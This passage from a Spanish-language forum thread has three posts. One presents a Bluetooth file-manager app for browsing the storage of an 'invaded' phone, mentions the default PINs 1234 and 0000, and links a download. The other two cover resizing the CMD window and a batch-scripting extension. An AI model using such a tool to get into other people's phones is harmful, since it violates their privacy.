o el Moby Explorer.

El funcionamiento es casi similar al del BT Info, activar el bluetooth
antes de ingresar a la aplicación y después de estar en ella pues darle
a la opción buscar para obtener el dispositivo, después de eso solo
navegas por las diferentes carpetas del teléfono invadido siendo estas
la memoria del teléfono y la memoria extraible.

Un detalle a anotar es que siempre se tiene que obtener la aceptación
de la conexión del teléfono a invadir e ingresar la típica clave 1234 o 0000

http://rapidshare.com/files/111529670/BT_File_ManagerES-bySmartGenius.zip

Disfrutenlo ¡¡

Fuente: http://thesmartgenius.wordpress.com

PD: La descripcion del programa me la he tomado de otra web, pero yo tengo el credito por la traduccion al Español.
#40
No se si esto ya lo conocian pero igual lo posteo, (he visto otros post pero sobre como esconderla y cosas asi)...

se trata de redimensionar el tamaño de la ventana del CMD, y que ademas no permita modificar ese tamaño, tambien se quita la molestosa barrita de navegacion al lado...

el comando a ejecutar es:

Citarmode con cols=70
mode con lines=40

cols nos indica el numero de columnas que queremos que sean visibles, y lineas pues lo mismo...

es algo asi como el atributo width y height de otros lenguajes...

un Ejemplo:

mode con cols=40
mode con lines=20



y el cmd se acomoda a estos datos, quitando la barra de al lado... ;)

Esto nos sirve para que la estetica del programa sea mejor, se vean mas bonitos, solo hace falta ponerles colorido  ;D ;D

Saludos.
#41
Bueno pues se trata de WBAT... no se si hayan escuchado de el....

Se trata de una aplicacion que nos extiende las posibilidades del bacth, para que los batch tengan soporte de mouse, botones, formularios, textboxes, colores y otras cositas...

http://two.xthost.info/smartgenius/wbat250.rar

solo es aprender a manejarlo y tunear el Batch ¡¡¡  :P :P



Ta en ingles, pero ahi en el archivo viene un bat que dice DEMO, abranlo pa que vean como funciona...

ya lo he estudiado un poco, por si las dudas pregunten ¡¡¡